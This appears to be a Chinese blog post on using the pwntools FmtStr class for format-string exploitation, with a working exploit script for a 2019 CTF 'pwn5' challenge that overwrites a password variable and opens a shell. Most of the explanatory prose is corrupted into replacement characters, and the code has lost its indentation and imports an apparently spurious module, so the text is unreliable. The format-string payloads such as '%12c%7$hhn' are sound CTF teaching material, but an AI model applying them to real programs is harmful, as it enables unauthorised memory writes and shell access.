pwntools FmtStr格式化字符串类使用详解
发布日期:2021-05-15 04:19:13 浏览次数:18 分类:精选文章

本文共 3075 字,大约阅读时间需要 10 分钟。

������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������pwntools������FmtStr���������������������������������������

���������

  • ������Payload������������������������������������������������������payload������������������������������%p���������������������������%p���������������������������������������������32������64������������������������������aaaa���������������������������������������������������

  • ������FmtStr������������������������FmtStr������������������������exec_fmt���������������������������������������������������������������������FmtStr���������������������������������������������������������������

  • ���������������������������������������������������������������������������������������������������������������0x61616161������������������������

  • ������������

  • ������������������������������������������������������������������������������������������������������������������������������������������������������������������������

  • libc���������������������got������������libc���������������������������������������������������������libc���������������������

  • 64������������������������������64���������������������������������������������������������������������������������������������������������������������������������������������������

  • ������������������

  • ������ charismatic approaches���������%{number}c���������������������%{index}$n���������������������������������������%12c%7$hhn���������������7������������������������0xc���

  • ������������������������������������������������������������������������������������������������������������������������b"%8$saaaa"+p64(free)���������64������������������libc���free���������������

  • ������������������

    ���2019���5������pwn5���������

    • ������������������������������������������passwd���������������������������������������������shell���������������������BSS������0x804c044������

    • ������������������������������������������passwd������BSS���������������������������������shell���

    • ���������������

      from pwn import *
      from elfutils import *
      # ���������������������������
      def exec_fmt(pad):
      p = process("./pwn_5")
      # ���������������������������
      p.send(pad)
      # ������������������������������������
      info = p.recv()
      return info
      # ������FmtStr������������
      fmt = FmtStr(exec_fmt)
      offset = fmt.offset
      print(f"offset => {offset}")
      # ���������������������offset������������
      p = process("./pwn_5")
      target = 0x804c044
      # ������������payload
      payload = fmtstr_payload(offset, {target: 1})
      p.send(payload)
      p.recvuntil("your passwd:")
      p.send("1")
      p.interactive()

    ������

    ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������

    上一篇:pwntools--SROP工具类SigreturnFrame使用详解
    下一篇:pwn题shellcode收集

    发表评论

    最新留言

    哈哈,博客排版真的漂亮呢~
    [***.90.31.176]2025年04月13日 22时58分03秒